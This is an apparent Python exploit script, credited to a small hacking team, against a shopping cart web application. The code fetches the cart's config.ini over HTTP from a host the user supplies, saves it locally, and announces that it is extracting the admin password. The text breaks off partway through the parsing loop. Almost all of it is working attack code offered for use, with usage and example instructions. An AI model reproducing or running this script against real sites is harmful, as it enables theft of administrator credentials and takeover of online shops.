# Lostmon Dismarking tm && icaro Badchecksum tm # Extract information tool exploit # Coded by icaro, Bug reported by lostmon import httplib import sys import string import socket import os def uso(): print '\n\n\nLOSTMON DISMARKING && ICARO BADCHECKSUM TEAM\n' print 'Usage: python ' + sys.argv[0] + ' host /directory_of_shoping_cart/\n' print 'Example: python '+ sys.argv[0] +' www.myhost.com /shoping/\n' def leeini(direccionweb,directorioshoping): web=httplib.HTTP(direccionweb) web.putrequest('GET',directorioshoping+'config.ini') web.putheader('Host',direccionweb) web.putheader('Accept', 'text/html') web.putheader('Accept', 'text/plain') web.endheaders() errcode, errmsg, headers = web.getreply() fichero=web.getfile() datos=fichero.read() f=open('tmp.txt','w') f.write(datos) f.close f=open('tmp.txt','r') lineas=f.readlines() f.close n=0 print 'EXTRACCION DE PASSWD DE ADMIN SHOPING CART\n' while n